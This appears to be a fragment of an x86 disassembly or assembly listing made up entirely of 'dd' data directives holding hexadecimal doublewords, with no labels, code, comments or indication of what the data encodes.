		dd 3A1191DAh, 0D4000F9Dh, 804FA3E5h, 0E40066F6h, 0CBA62434h
		dd 1044770h, 35A03EFCh,	0C4290B15h, 0C0039236h,	0DE31AC98h
		dd 0E840D3B9h, 752653CAh, 0C82701B2h, 19C2E2EBh, 54076F62h
		dd 43F00C90h, 1B733ABh,	0DA192D2h, 0F06D1A9Fh, 6B59271Dh
		dd 3FEF008Ch, 86A2EBE5h, 39147628h, 31076747h, 70784552h
		dd 8CB04F26h, 6807EC0Bh, 0A08A00D6h, 0B86A6D1Eh, 0A7870093h
		dd 72CCF40Bh, 5E2E163Fh, 461D59C3h, 8BD337C0h, 37690A33h
		dd 0C070B878h, 0B9F20235h, 0B481307h, 1741EB4Bh, 209E75D7h
		dd 4E10B1BFh, 0C0031307h, 3CD6F6A8h, 411ECD58h,	2811989Dh
		dd 0B80C7B70h, 0D0892984h, 1BAB1E76h, 4D3E00D9h, 3385D357h
		dd 7A690815h, 40282040h, 4801103h, 2A5C754Bh, 0EA8C3BB5h
		dd 7468000Ch, 96901803h, 0F67CB2A3h, 0CA07CF03h, 0ABCBA1h
		dd 69FB3590h, 5289118Eh, 9610DC00h, 8A77F1E1h, 6A20003Fh
		dd 9EC0314Ch, 2DF2A867h, 0FCFAB93Ch, 21B53203h,	0E06D0538h
		dd 3B4C40Ah, 714FD4F9h,	0D7C9DDh, 9A4BD3FCh, 3690CE00h
		dd 0D98627C5h, 0F77D5Bh, 0C23ED279h, 0EAEFED40h, 630F5D00h
		dd 150D4BFBh, 0E04F0056h, 97B69E61h, 31007BC6h,	78ADFC91h
		dd 0E81B0CE8h, 48C82609h, 11FB0001h, 0C932F66Bh, 0F2DB8E03h
		dd 0B88684A4h, 15B1C7D6h, 0A0B3DFEDh, 0B9D32300h, 1727E0BCh
		dd 0B8044B77h, 62389508h, 0E9F628E4h, 0FBBF5500h, 27929A00h
		dd 0DE081824h, 0C149DDB7h, 5D98F286h, 0FAF13081h, 4DABE00h
		dd 613D8FF7h, 0AF2D183Bh, 953E486Dh, 0B0304551h, 48096124h
		dd 115D3D15h, 789D800h,	0FF03F3A9h, 813B21C0h, 840C96h
		dd 6167EE6Fh, 0FF1F0699h, 0ED65C500h, 0EBD9CC20h, 854E3ABDh
		dd 1739B200h, 612E3EB7h, 0FBE61B01h, 3C60F93Bh,	4B6DB03Ah
		dd 0FFEFA100h, 104051C7h, 8CAE0062h, 71A716A5h,	330367E9h
		dd 3091F137h, 0F4B1006Eh, 0EBFC1115h, 9800AF97h, 0FAB30B7Fh
		dd 0B05038h, 0E96E8CC3h, 0AA173EC1h, 39605330h,	1A7097Dh
		dd 11D181B4h, 201225DCh, 6E008BDEh, 0ECDA0B3Ch,	61E7B446h
		dd 0FF693044h, 7422BAh,	54B329B1h, 3BCA8C7h, 45CE9D8Fh
		dd 1142D3FDh, 0A254C304h, 0BB100059h, 0D5F23D36h, 600DA4Dh
		dd 0E317A8A9h, 1B24924h, 0BE6D4754h, 42CFB88Ah,	7F2FCE14h
		dd 0E99BDF83h, 0C573F11Eh, 5381C8h, 0A5E60321h,	541E702h
		dd 940BD27Dh, 809CB213h, 5AA96D39h, 2CE5A0E6h, 58EF0025h
		dd 59420BF1h, 6300269Ah, 0E36F2435h, 7BD745h, 0C9027337h
		dd 0E546D50Fh, 12C85D00h, 766EE615h, 0D309013Bh, 0C2F98F08h
		dd 0F769F1A9h, 0DD68D1B0h, 780374EAh, 59C9B2D2h, 192AD885h
		dd 8FF13F75h, 0C83D92h,	0ADA58D15h, 90A088FEh, 2B006B9Eh
		dd 0C2689189h, 11E2EB3h, 47370A46h, 819C4DAEh, 0F2F08050h
		dd 0C4D0B1CAh, 1E0800F3h, 0DF1D4AE6h, 0C60EA92Fh, 0E35B205Fh
		dd 88E55AEBh, 33E841h, 6E64064Bh, 0EEB0DD62h, 0A535E100h
		dd 232A1CBBh, 8A2042Bh,	0C1E5ECD0h, 0CC5934B7h,	0CE00FE22h
		dd 5DB6108Bh, 241FBE9h,	0E443B94Ch, 8F60AE0Dh, 947A2D55h
		dd 9B0007F8h, 0E8E735CAh, 0A0B10B80h, 0EAFCFCh,	0D277269h
		dd 33BBD0BCh, 0A2001377h, 719A8505h, 72F4E661h,	0E72B0021h
		dd 56084701h, 0E516BE6Ah, 9B00C7CDh, 0D6F1E01Ah, 0EA31006Eh
		dd 588A5FBDh, 0DA3ACC4Bh
		dd 0EC6380D3h, 8B89417Fh, 0E517E06h, 0B3987039h, 2BD25D80h
		dd 750712F0h, 4C9C389h,	67E27AC0h, 0D850019h, 0EDE57BC2h
		dd 1378023Bh, 6EF17F00h, 0E3F784E7h, 7B8101D6h,	0B93797E6h
		dd 606021AAh, 7300138Eh, 0D8663A3Dh, 4B1083h, 0BD64943Fh
		dd 9DC44A99h, 2507F97Fh, 271AFFB4h, 0BC785AE0h,	0DCC11DEAh
		dd 211900A2h, 0AF79677h, 0B00F2FAh, 452D8BFh, 0A0FB40h
		dd 537A5E3Bh, 7C07B305h, 789D3Ch, 0D7339AAh, 0CC7ECAh
		dd 3B28378Ah, 1D27837Fh, 4D4E2E04h, 0BC90C585h,	680DCDh
		dd 0F8601403h, 39B1EA63h, 80CEB439h, 4F109DD9h,	477216h
		dd 8F332E18h, 8D9F752Fh, 370001FCh, 0C7319B7Dh,	5869D1A0h
		dd 530F472Bh, 0E160AFCEh, 76B8BCE7h, 1B08F11Fh,	3500E428h
		dd 0D1C4D2AAh, 0E803B62h, 0B724AC49h, 0F3ED1B00h, 0FA1EDA15h
		dd 0A2123673h, 0D7571700h, 4C37266Eh, 8E0014DFh, 0A9F4FB41h
		dd 6D0FD98Fh, 0FE23E30h, 1CC2A034h, 6E950h, 0BA08D4E0h
		dd 6F949FA0h, 0DB202E26h, 0C83B2406h, 3A783DA0h, 0D75CA180h
		dd 0F0DCFFEEh, 498D3Ch,	3EDEBEB1h, 0C0612546h, 646931C0h
		dd 0F40791FFh, 4304A589h, 1F7B2E10h, 609A73h, 0BEF26A5Bh
		dd 7FE98765h, 0D98DD01Ch, 16FAC2C0h, 118C8Fh, 4C9032C6h
		dd 0DC396A4Ah, 0F8493E07h, 0DBB0E21Dh, 1CCDC5h,	81D00532h
		dd 88C676F0h, 0A3A5F500h, 0ACA03B39h, 40740057h, 0A2D4BB2Dh
		dd 811F010Dh, 6E07CC4Ah, 5C36AA5Bh, 300F0090h, 936F205Dh
		dd 4800F4A6h, 0A2DAC5A4h, 2CE888h, 8CCBBC87h, 9A181654h
		dd 78BF3400h, 0D91C2FE5h, 7A0C0051h, 0EC62AC20h, 0C4269267h
		dd 0B9828404h, 5E2EFBBh, 78A6C17Ah, 0A3D1F093h,	491EF400h
		dd 4C755C90h, 0BD6C0A44h, 3CCE37Eh, 0F188E799h,	4634DAC8h
		dd 0EB60F300h, 790DEC24h, 4A7B1C15h, 7840805Bh,	0FB68D4BAh
		dd 352E6501h, 0ED5EC8C9h, 0F4B964DCh, 0B41A007Bh, 16D54797h
		dd 8602623Ah, 0AA01F911h, 66846051h, 36D30778h,	7050AF05h
		dd 4362206Bh, 98521900h, 2F94C8B7h, 0D7CF002Dh,	0CDD41E46h
		dd 0B404149Bh, 9555BC0Fh, 60079082h, 0E41FF120h, 5A70E6h
		dd 69D9CA90h, 48B523C0h, 813B7B38h, 0C3DF64E5h,	21E4629Ah
		dd 8133006Fh, 254917B0h, 0E300D328h, 34F822ABh,	165EB54h
		dd 0FFFC6D4Eh, 407B9F15h, 0C5FE46B4h, 0D8530F00h, 65DDF7BCh
		dd 0C0B7005Eh, 1F618A2Bh, 62000328h, 0B17DA153h, 727002h
		dd 0B4E3C98h, 0AB28FEF8h, 0D4572300h, 0CE411A8Fh, 98F402F6h
		dd 5A3A2A7Ah, 0AA0B4CBh, 0E901C044h, 0D6F2FDD5h, 0E224B869h
		dd 87C0A66h, 80BC5472h,	0D863738Fh, 6800C523h, 87A9AD4Dh
		dd 0D5D088h, 0D31B4158h, 1DF27626h, 396FC300h, 6094B848h
		dd 0EB1318C0h, 9211C825h, 0FD96A600h, 0D470ADD9h, 0BB310050h
		dd 347CD774h, 5C4DD56Eh, 844848h, 58595A03h, 0E23AB5EBh
		dd 6EDF88Eh, 0C4BBA34Eh, 0B6F0284Fh, 0EF0E06F0h, 0E09DF497h
		dd 17A5BD30h, 0E693E834h, 8F5200B4h, 7588A92Ah,	7475A71Bh
		dd 85018418h, 20C23C78h, 15E0A8D6h, 0DCA37000h,	423977A7h
		dd 98D77D5h, 8983602Dh,	93BA9003h, 8E3690F1h, 416BA338h
		dd 2F81508h, 1B176072h,	0C64C005Ch, 240A90D6h, 4441DE00h
		dd 204FFCDFh, 2EE7F440h, 642954h, 9FA8848Eh, 9241107h
		dd 1B00A77Ah, 0B09AE63Ah, 91190066h, 0C9EF0135h, 53006530h
		dd 8A71476Ch, 17C17BEh,	7ACE1173h, 0E001D4D9h, 3F008F09h
		dd 0AB049175h, 0F0FC08h, 1B494BCCh, 8658BF1Fh, 0F2534707h
		dd 658662AAh, 771105CEh, 0C03CB04Ch, 0DBC395A4h, 0B2568C0Fh
		dd 6C228374h, 0C353E2F5h, 0ACE906D6h, 18441647h, 33E9ED38h
		dd 0E1C23077h, 0E001B42Eh, 40DC411Dh, 113C244Ah, 0DC93D200h
		dd 0C0C38B97h, 26A10094h, 92FAE2CEh, 40C46003h,	5E175716h
		dd 39BF830Ch, 11005B27h, 84D1E48h, 0EA206EDh, 0A37815D7h
		dd 0EA215D8Ch, 54D0400h, 0A534253Eh, 10B50095h,	0FD4A5D5Bh
		dd 218A8B9h, 7361D766h,	0E4F60086h, 358295Ah, 51749950h
		dd 15217460h, 6B1F68Eh,	0D7C8D49Ah, 8A3DE861h, 0C84EA005h
		dd 80CC3FA0h, 76ED150Ah, 442250A3h, 4D05E800h, 0B83C9BF0h
		dd 797F01Ah, 0ED6CC846h, 0C2A321E1h, 6824CB43h,	0AB006486h
		dd 0EF050A6h, 9C3E00A9h, 0BCEBC812h, 8B00FD82h,	6AC3C57Fh
		dd 369E33h, 462D76Bh, 53A447E5h, 0B1FD5A03h, 0A1F0072Dh
		dd 887C2DAh, 0A0CD267Dh, 48FE7B6Eh, 0B520CAF0h,	66F0009Fh
		dd 0DFFB8B99h, 3C3E7981h, 3885B090h, 6109F470h,	0B65028B0h
		dd 30BE78h, 56B9208h, 0F85E6D8Ch, 0C19C07Ah, 0BA219EF7h
		dd 0AC666100h, 0B0FD2A84h, 0DB4B015Dh, 0F0CB6291h, 0B8819149h
		dd 78DDBD00h, 0A342047Fh, 400009E8h, 8B493BDFh,	65CC77h
		dd 0ACC95257h, 66762A7Dh, 0C5903400h, 4B15B789h, 0D159C1ECh
		dd 801CEDB6h, 0DCE13DB1h, 0BC0EF6h, 98753CFh, 48E71BF8h
		dd 63D2621Bh, 735FB029h, 0BDB33303h, 0F860F810h, 68BB84D1h
		dd 0BEFA0E43h, 0F81C339h, 0F1B42CC9h, 22409532h, 94105194h
		dd 35B8F151h, 4200183Dh, 0A5E2D2FCh, 5AC93B5Fh,	29BCB8Ch
		dd 651D7D61h, 0ED0CA956h, 2B411Eh, 8C6CB889h, 0B79762C0h
		dd 0BBC7C606h, 4428AE87h, 0E301F26Ah, 16C80795h, 0F9858546h
		dd 439699CBh, 74F598ACh, 0E82A6922h, 21A760CEh,	61321967h
		dd 9CD5300h, 0E9382265h, 914100D4h, 1AF7ED20h, 0A9505299h
		dd 0C361DA74h, 2637D351h, 0F0011621h, 0B6F0C505h, 0C0D9C086h
		dd 9F21752Fh, 73D110C0h, 189BBDFBh, 505134C8h, 925070CBh
		dd 0C045FF54h, 0D0AED5F0h, 0D6C6A419h, 0F42128C4h, 0B97008D9h
		dd 3177B68Ch, 0FEC802A4h, 19E5E33Ch, 288BCC0h, 77A6E701h
		dd 2762107Ch, 2243D851h, 8094B511h, 0FDF18549h,	14953CEEh
		dd 0E4A92C9Bh, 3167D3C6h, 11B68D00h, 0DD0DBFDBh, 839502ACh
		dd 0E7E2FC5Bh, 8C984448h, 0EDA9D562h, 348B19h, 9A0A3EF0h
		dd 0BAD50638h, 6170DFC5h, 0AB72C818h, 142E0389h, 0B89E611Ch
		dd 923402C0h, 5D18DF7Ah, 0A5F175B6h, 8C8603D2h,	70BD54D0h
		dd 3C8C6942h, 53E0087h,	75B71C3Ch, 0DC3A004Bh, 0A864EE28h
		dd 31C87E1Bh, 5431805Ah, 0A4A51AADh, 32265000h,	8DB012B7h
		dd 7F5D0A2Eh, 6F41368h,	0E0C8FD98h, 0D30048ACh,	91342F0Bh
		dd 2045C571h, 9C22AED2h, 0A8149198h, 54AD0114h,	2F4A3343h
		dd 70202409h, 27B488h, 0BFFBA976h, 0C97A11CFh, 0B8632904h
		dd 8492DB6Ah, 9088212Dh, 7BB2E969h, 1E609BE0h, 49B7B02h
		dd 0C8B64F79h, 20861F64h, 0C800C50Ch, 14CF2B77h, 1EA43808h
		dd 149EA6A8h, 88758C7Ch, 9600FCC6h, 0AA0E5371h,	0ADE1C4Eh
		dd 230C05E7h, 0D7F48888h, 2D401B44h, 0B706D57Bh, 0B949C83Fh
		dd 726C0694h, 246031C1h, 4A5C141Bh, 3CF61148h, 3494526Ch
		dd 0F980CC42h, 491C6DB7h, 0D51BA8F2h, 0AAC071CBh, 5F01FC33h
		dd 79E872C3h, 2FC0715Ah, 9CC90EBEh, 900146h, 0D5CD0F8h
		dd 4CFFD6B5h, 41EA982h,	985443F4h, 5DC2399Ah, 85076048h
		dd 8AA3189h, 6BD100F0h,	6F40E8A1h, 67EB04Ah, 0CE573A19h
		dd 40346C60h, 1180429Bh, 0CC48DAFFh, 0BB9217C0h, 4006BCA0h
		dd 58BDF23Fh, 81309961h, 0C1CFAEA6h, 0A95FF4E1h, 205D44A1h
		dd 0BC09E8E2h, 2343B3CBh, 37EB6B8h, 0FDDA4039h,	21A925F6h
		dd 6692D842h, 5A604450h, 65D64A13h, 98516809h, 70E25D6Ch
		dd 173D02E4h, 5430631Bh
		dd 65C6CC08h, 6D2A0108h, 11DBC4D3h, 5D03D8E6h, 6644E09Ah
		dd 24AF735Fh, 9154908Eh, 91C0163h, 54933578h, 18933465h
		dd 0A64420EDh, 3000A7CFh, 0D8B3C6A4h, 5398C34h,	73945587h
		dd 0ED2C93F5h, 50031C6h, 0DCDA0BB4h, 0CAE07ED6h, 100DB1h
		dd 0A160E750h, 91225D2Ch, 2D402265h, 0CB9F00B1h, 0AC24A5C0h
		dd 142B8EB6h, 0FCC9C77Ah, 0CFF898C3h, 1681042h,	92BF0720h
		dd 1B03A473h, 8CC46AF7h, 0D3317FDAh, 0B7396B00h, 78FC9F45h
		dd 0A88CDFAh, 3911EB58h, 700A7B17h, 11501A4Bh, 18FF00BCh
		dd 2D74FCEAh, 0EB420351h, 95C57B76h, 919F1DB0h,	2672FA22h
		dd 44E89ECBh, 86895D1h,	27807E98h, 0B7FA6AE1h, 3B647335h
		dd 5C58A266h, 0C7B81C80h, 98A90270h, 0AF9CF00Ah, 1A4651CBh
		dd 0BE7484F0h, 4A283352h, 3053B4E0h, 6C85362Eh,	0ACC4C304h
		dd 448884D7h, 0B1005273h, 0C5E24A40h, 82A901E3h, 16262BB3h
		dd 0F288520Bh, 5D12D896h, 1300EB2Bh, 0C8A56CCBh, 641649C4h
		dd 9600424h, 74840F32h,	99A54724h, 6562EA80h, 1CB820h
		dd 0E2617704h, 3BDAE602h, 0B782BB16h, 95512C20h, 4AC3000Eh
		dd 62BD7C5Fh, 88CCFA2Ah, 32C8693Eh, 0B9919599h,	0A25FA090h
		dd 0CF40500Ah, 7A11EC1Ah, 34D0201h, 24789216h, 2C9B3D98h
		dd 0C400CC28h, 76A08B11h, 0BA50E15Fh, 12317558h, 204E705Dh
		dd 7C251B3Ch, 5359D2h, 9B6C6043h, 0AC18EE06h, 34E002C8h
		dd 0A9546898h, 8846089h, 0F4355220h, 5818C1FAh,	0D7D3C87Bh
		dd 0CFC18007h, 2E4930C4h, 9625E84h, 821C432Ah, 0F64AAC10h
		dd 2A84488Ah, 0D829015Dh, 3A1C529Ah, 0DA289351h, 4F34DC20h
		dd 0C46C0039h, 0C81C2569h, 9F60803h, 0B6488CA6h, 0C411808Ch
		dd 6923B8ECh, 3F8C7197h, 0B1315071h, 189F2979h,	33932FCh
		dd 9C319D71h, 63C93FDDh, 698848D3h, 45DCEC05h, 0A05DEEBBh
		dd 99D0DA8Ch, 408C009Ah, 0E7B35432h, 1800999Dh,	0C98A6D52h
		dd 917056Ch, 0C5C20689h, 6050E449h, 0CB88C718h,	0DA6E372Bh
		dd 0E4948391h, 0B21A490h, 0CDA71300h, 0CA34AFD7h, 4A4CB2FBh
		dd 494841B5h, 0F3C3F4DDh, 0F6ABD5A8h, 8843CB03h, 0C8525BE0h
		dd 4A703907h, 92744865h, 0A9631CA6h, 0AE5EE06Ah, 0C4A3544Bh
		dd 0AF563EB8h, 2DB11989h, 0BB078829h, 7E2C808Bh, 0D800825Eh
		dd 16D4BFAh, 964D0407h,	0FC5A8228h, 88048FFh, 0CD2E4B5Ch
		dd 0E18CD530h, 0DE5229h, 0B990097Ch, 84BA659Ch,	0CCB631CAh
		dd 0DAF6BF40h, 0AEEF0049h, 0DD52EF4h, 80AEC6ACh, 11D3B000h
		dd 0D2806698h, 1B3B3FAFh, 5FFADB00h, 0E9F02410h, 11602049h
		dd 244CF64Eh, 0C5806788h, 55A3E93Fh, 0AEB8099Eh, 248E62DBh
		dd 6430B12Bh, 0C0E40C43h, 0ED295303h, 22CE4B4Dh, 1D009B91h
		dd 83AF7963h, 4CFDF421h, 95057F9Dh, 8A9B34B7h, 22004C38h
		dd 135D4B87h, 0BFEC28FCh, 4ADB3503h, 22229BC0h,	9A0720B9h
		dd 3992D947h, 0C3F38D40h, 0F6360451h, 820A84DFh, 0FC4E1B92h
		dd 0F8029824h, 69E82A40h, 0FD463470h, 0C0349751h, 8333762Bh
		dd 88381D48h, 10F8090h,	0AA958DD0h, 0E1092CEEh,	40747E2Ah
		dd 8AA9D55Ch, 1485F0C1h, 0A2E6F8A5h, 3986257Ch,	207F120Ah
		dd 4B6B01A6h, 0C0E3A3Eh, 28945963h, 11D2375Dh, 9CE72049h
		dd 0EC00F321h, 0D4F5FA47h, 34A9054h, 0D724ABD8h, 0CECA1E07h
		dd 28037C44h, 0CD94BBC6h, 0F65DD8DFh, 0BC6453B5h, 3E205C42h
		dd 0C133D631h, 802D1EF2h, 63F5E0C0h, 2D02FC19h,	79BAED9h
		dd 5DB091C6h, 6CCB6494h, 0B3562680h, 460EC82Dh,	1AA1C436h
		dd 0D1802118h, 0C848FC73h, 0DA2E0A46h, 24C4F810h, 0B3CE6394h
		dd 60078100h, 890E6B15h, 631C175Ch, 80C4520Fh, 48704510h
		dd 8F60DC99h, 3121B81h,	0BF148356h, 0E0904B99h,	0FF88BE28h
		dd 0EC0B8A72h, 4C941014h, 0AF219040h, 820B1F13h, 29FD1B05h
		dd 6238B4ACh, 2358D500h, 0F3396941h, 65671F8Bh,	716E002Fh
		dd 0A10A326Fh, 0AF6D4E00h, 8108B8A6h, 0FBF200F8h, 0BF3BEDD3h
		dd 0D003726h, 834A2B7Fh, 4DAF63h, 0A714E691h, 0FDA629Eh
		dd 400FD3EBh, 99BC827Eh, 5082320h, 0CC26A244h, 74185168h
		dd 0E580A174h, 23DF0DCFh, 0F210591Ch, 588A2880h, 3A67E544h
		dd 5F50C638h, 339C47F9h, 6661DD45h, 0B28D9DE8h,	83017FECh
		dd 0B77F298h, 22F3D91Bh, 7E00AF68h, 0FE8B570Ah,	7E3EC81h
		dd 3E7DDEEh, 10D3E722h,	0F2277AC7h, 748258C3h, 0AA390088h
		dd 7D2017DBh, 0F4031093h, 89C7598Eh, 2121004Dh,	0DE1FCBB6h
		dd 85004B16h, 4AFD5E84h, 17E9C1h, 0A1602779h, 459EBE1Ch
		dd 5CB9E163h, 0ECC788C5h, 0D459006Ah, 1656CCF6h, 74B85EB8h
		dd 9628B665h, 2ADA9C28h, 37D84503h, 0C00879FBh,	83F7BF86h
		dd 0F4090800h, 74589376h, 6139000Ch, 82EB468Ah,	7A527D2Ch
		dd 1A1D0E9Ch, 0C71CE724h, 4E07D9E0h, 923101CBh,	0CA532810h
		dd 0A1F851BCh, 0C3C8509Bh, 7AF6417Eh, 6C36880Ah, 0E1BDCC53h
		dd 721C8F28h, 5D1D91BCh, 81E82B8Bh, 0C843AB41h,	97A5F036h
		dd 109310A1h, 4E09DDh, 0F8560F2Eh, 0F660875Dh, 3C806903h
		dd 0FB8BBD7h, 9220C628h, 0D941A4CCh, 0EF897E01h, 74479857h
		dd 3CF890DAh, 0B4515321h, 401CB385h, 0F0C40FE0h, 390108E1h
		dd 9759AA0Dh, 20858DD2h, 40255A91h, 0F4390598h,	0D83C38F3h
		dd 0B34549Dh, 847F7B07h, 61E0D003h, 6186EC9h, 74493AD5h
		dd 0E00041DEh, 939BE591h, 0F5951F3h, 0D04C36F2h, 23EC8767h
		dd 2830818Dh, 0A563302Bh, 4490A484h, 5409ED96h,	776A08F6h
		dd 260FB08h, 785B3220h,	1EC6D8A1h, 89B0C48Fh, 3CA244B0h
		dd 0AD799898h, 4C9338h,	0A45C7E48h, 61182174h, 88952809h
		dd 0B979808Ch, 32F1545Ah, 0F42500A9h, 144C30B1h, 20488CF5h
		dd 7CFB15F4h, 789902F8h, 0E0815097h, 7DAA075h, 654974CCh
		dd 90E3D43Ah, 3B4A7B14h, 60F50511h, 83134B00h, 403A579Ah
		dd 83247F3Fh, 158255E0h, 51D129F6h, 200BE8Ch, 1C545D39h
		dd 1A8892A1h, 0FA583B0Dh, 0B2458B87h, 4C7C6074h, 0FB72DCB8h
		dd 796540Dh, 544251FFh,	928A242Dh, 0C8236FA4h, 373D127h
		dd 1E8B0CC8h, 414A6DE1h, 4DF7EB1Ch, 9128898Eh, 3E7099ADh
		dd 6D10F708h, 6862BAA9h, 45237E1Eh, 0D53100DFh,	0A0AA6A8Bh
		dd 7B00B5E3h, 0FE567ABEh, 0CC1F8729h, 39594D38h, 0A7E9844h
		dd 5F3E1583h, 3CE74AE8h, 178A0D01h, 42FC3A02h, 0B4852AC8h
		dd 0DB98614Dh, 48E0223Dh, 0C1BC22CCh, 0FADE9649h, 0BC3449A0h
		dd 9ACD44B8h, 0DEE021E8h, 8C992408h, 0A2975FBh,	747C6E02h
		dd 0A4AE78Eh, 0D1A96090h, 0A2001B23h, 414409FAh, 88AA4EBh
		dd 1477FD18h, 39BF2F80h, 31F095DEh, 0EBB1D6B8h,	80F1022h
		dd 1E0AF6F1h, 0D9607DD9h, 0C40B6183h, 0D0C31090h, 0A80A963h
		dd 0E194C619h, 4E996578h, 30926CD4h, 6ADB5820h,	874CB73Fh
		dd 0CE781894h, 61EDF320h, 0A66F048Eh, 84E525B1h, 0FC0CCCFCh
		dd 77D7BF07h, 42000D97h, 90E275D4h, 0F991444Ch,	23BFBB00h
		dd 0DE26D5BEh, 0A3A801F5h, 0B1503B12h, 22B03251h, 0D972179Ah
		dd 0A4950104h, 0E43BAC14h, 78C9E284h, 310CA224h, 1C0312A8h
		dd 78E0BC8Fh, 0E1E5B44h, 0D608CB20h, 390F0021h,	96A0EE04h
		dd 95EDD800h, 0C540BD28h, 0B020C9DEh, 40265024h, 78D0FF43h
		dd 74EE0E5Bh, 2CDFDFE9h, 3ECC0A4h, 7B005276h, 0CDF2C472h
		dd 7D062FC8h, 0CE1B0148h, 32D8A67Ah, 8F1300B9h,	0A9DE1Ah
		dd 541F05B3h, 68B11CDFh
		dd 919F3D0Eh, 0EB7C6B22h, 340124ECh, 2CB25CFAh,	2ED4DBC8h
		dd 0B7A81FF2h, 0CF5B0646h, 0EC002047h, 947B1EB0h, 3E3A591Dh
		dd 0A401493Ch, 0C42547D2h, 5F298FD6h, 0AFC79F48h, 0CC86BC71h
		dd 0BBF019h, 49853229h,	76BFDA96h, 0C424D301h, 0FAFCE2FEh
		dd 0C4467D0h, 5D7060D2h, 380C0C58h, 1852D94Ah, 4BA32046h
		dd 0BB2A60CFh, 5F22E258h, 1AB685E0h, 50EDDA18h,	5CF630Ch
		dd 0DD04D8F4h, 86644060h, 0AF67290h, 3366BF08h,	543C0032h
		dd 0BAAC5E1Dh, 0FF26A708h, 2F5C067Eh, 0A800695Dh, 65CD1549h
		dd 29C4B6h, 0B311DF2Dh,	0E70D0E51h, 0B22A19F0h,	52008068h
		dd 1BC1C502h, 0FF1503Ah, 5D07E8D7h, 0E1257146h,	0D17CBF30h
		dd 707FE445h, 14EA76B7h, 0ACD1EE7Bh, 2B63847Dh,	0D45BA8h
		dd 9B690311h, 0D98EE47Fh, 1A7283Bh, 0CB973E67h,	14405A94h
		dd 95BE2EEh, 466965BDh,	60C40882h, 7FF1A8A2h, 90CD5B22h
		dd 614F2D4h, 0E1D7A3B7h, 7A212843h, 0CC1154h, 28DC97FFh
		dd 5430F88h, 67BC4013h,	0C38CC0A3h, 0F7492B63h,	4DA6002Ch
		dd 67F037EBh, 0AC79545Bh, 29440091h, 870A576Ch,	68000C65h
		dd 7DFD9F72h, 142BAD04h, 842409F9h, 8169BF3Dh, 7E0FAE00h
		dd 0D81C8BEAh, 0ACC06E2Ch, 0A70B23A2h, 0C5050A60h, 44B02480h
		dd 30405D55h, 86D10EDh,	3DAC008Bh, 0C265054Eh, 0E90E71BAh
		dd 8C7586C1h, 897F7122h, 0E0EFF596h, 0ED0A7662h, 0F0047826h
		dd 29515A86h, 7EC70069h, 7C709ADEh, 310E3A49h, 831A5FCBh
		dd 9939AD26h, 0A824B222h, 3480A861h, 0A2861C77h, 7D88C104h
		dd 43552A54h, 0F4D0A7CCh, 98FDA80Ah, 0C530B060h, 7198E188h
		dd 29AF086Fh, 5160FF31h, 64C4C7B2h, 405A07EDh, 0B81E5427h
		dd 3076AF0Ch, 0E828DFBCh, 1FC31960h, 20FBF023h,	28666070h
		dd 38F4DE61h, 0EB00E6E3h, 3C714B30h, 20D4B67Dh,	0A67522C4h
		dd 24F42CACh, 460E1C4Bh, 21986231h, 9DCE44h, 39F76704h
		dd 0D4DDFDEBh, 4FB88813h, 40F22048h, 0E54DA85Eh, 5191A3Ah
		dd 7AD79BC3h, 0FB25CC43h, 2F2912D3h, 0BFCC404Eh, 69910ADBh
		dd 0B211B090h, 0E900235Fh, 4F84B543h, 0EB1EDB22h, 50408ABCh
		dd 128027C2h, 582160F6h, 0EC24E55Ah, 194F3909h,	6C902E31h
		dd 0FF344974h, 2CDC7280h, 7646E0DFh, 814F4D31h,	29831E60h
		dd 0BAAA9187h, 59D1E188h, 80C2A638h, 7C3DF9B3h,	24FF54C4h
		dd 0C1B848A0h, 0F41B7663h, 0E1630CBEh, 8DC72BAh, 4D755AF1h
		dd 4900D0A3h, 22AB2074h, 0D7340157h, 10F495B6h,	74E8449Fh
		dd 0B7C892A8h, 105B8849h, 7314E229h, 248E289Eh,	485E249Ch
		dd 6D91C0F0h, 14001266h, 9ADF7FE9h, 3841639h, 25967062h
		dd 382604ECh, 0C640C42Fh, 0EEAE7B68h, 6F0F017Ch, 0EF8F71B6h
		dd 0DC45EC40h, 0ECD0A755h, 98143DE1h, 88EC849Dh, 98E85BF5h
		dd 134012CEh, 74B5482Bh, 792DCD80h, 22F1B36Ch, 9BBA0030h
		dd 0E99045D1h, 8EC738ABh, 0B6C2BB09h, 29DBBC26h, 20EFA107h
		dd 8C8AE336h, 0C1145A40h, 3E62008Eh, 0D19D1E52h, 7A2A45B6h
		dd 0A86A9842h, 64606829h, 0B19887h, 4454E4BCh, 24F021CBh
		dd 0F9C3C818h, 59F147C0h, 753CA484h, 0CB018C8h,	6B0F633Ah
		dd 1F02F12h, 8B9979D9h,	0F4C3A8E4h, 24EE10F3h, 809C4849h
		dd 1CE9BAFFh, 5F0B000Ah, 0C09BEE0Dh, 0A53A5DF9h, 46579ED7h
		dd 98A210E6h, 711B5F37h, 0DCF3AD10h, 0BA20001Dh, 0B5A01F55h
		dd 0DF03AE90h, 4F059FDDh, 1CD2DC06h, 862046B0h,	1CD607A0h
		dd 0C52E8407h, 2907287h, 8BD106Bh, 5A00A40Ch, 338F243Eh
		dd 0F22A2A23h, 798D0084h, 1BB8111Dh, 3F50D76Fh,	8F887058h
		dd 0B1C04FEh, 88AAEAD5h, 6F077420h, 25388E52h, 0B0004C0Ah
		dd 0F3A0DEC7h, 6E29C0E8h, 4CAE04F8h, 914ABF30h,	18DFEDh
		dd 4587B1A2h, 0F40FB5E8h, 0C6437400h, 1BD810Ch,	0B044BA9Eh
		dd 2F66C004h, 0B452B280h, 0C195B6Bh, 86515Eh, 277BA63Ah
		dd 43089AB5h, 1F528201h, 0D8CBDA41h, 89002462h,	0F8108B18h
		dd 630CCE87h, 699671CDh, 24B160h, 4BE764F7h, 79503C8Eh
		dd 68009A9Bh, 0EF1F81F1h, 91DBFAD5h, 487C08F0h,	0A84B2F0Ah
		dd 24030980h, 3B9A0D4h,	0B5830899h, 5DBB86F7h, 7D418EA0h
		dd 0EB22E8B2h, 593C1547h, 6018F821h, 783E8971h,	1F966C4Ch
		dd 4E05E710h, 0A898D11Dh, 0A0970038h, 89F7D57h,	6800707Ah
		dd 13EDA481h, 0A7BF794h, 43A2E25Dh, 4CE69DA4h, 33617251h
		dd 544D0702h, 0A9F0B004h, 514C91D8h, 2CF62330h,	9780A7B4h
		dd 758030B3h, 0F1C65B4Fh, 512A60h, 989B7A8Ah, 7C71170Fh
		dd 0F206B9FEh, 4FB67824h, 0CBC824E9h, 20574EBCh, 9BFE4668h
		dd 1D955000h, 2423363Dh, 0FB1500E5h, 0F1E9F9A0h, 2628A6B7h
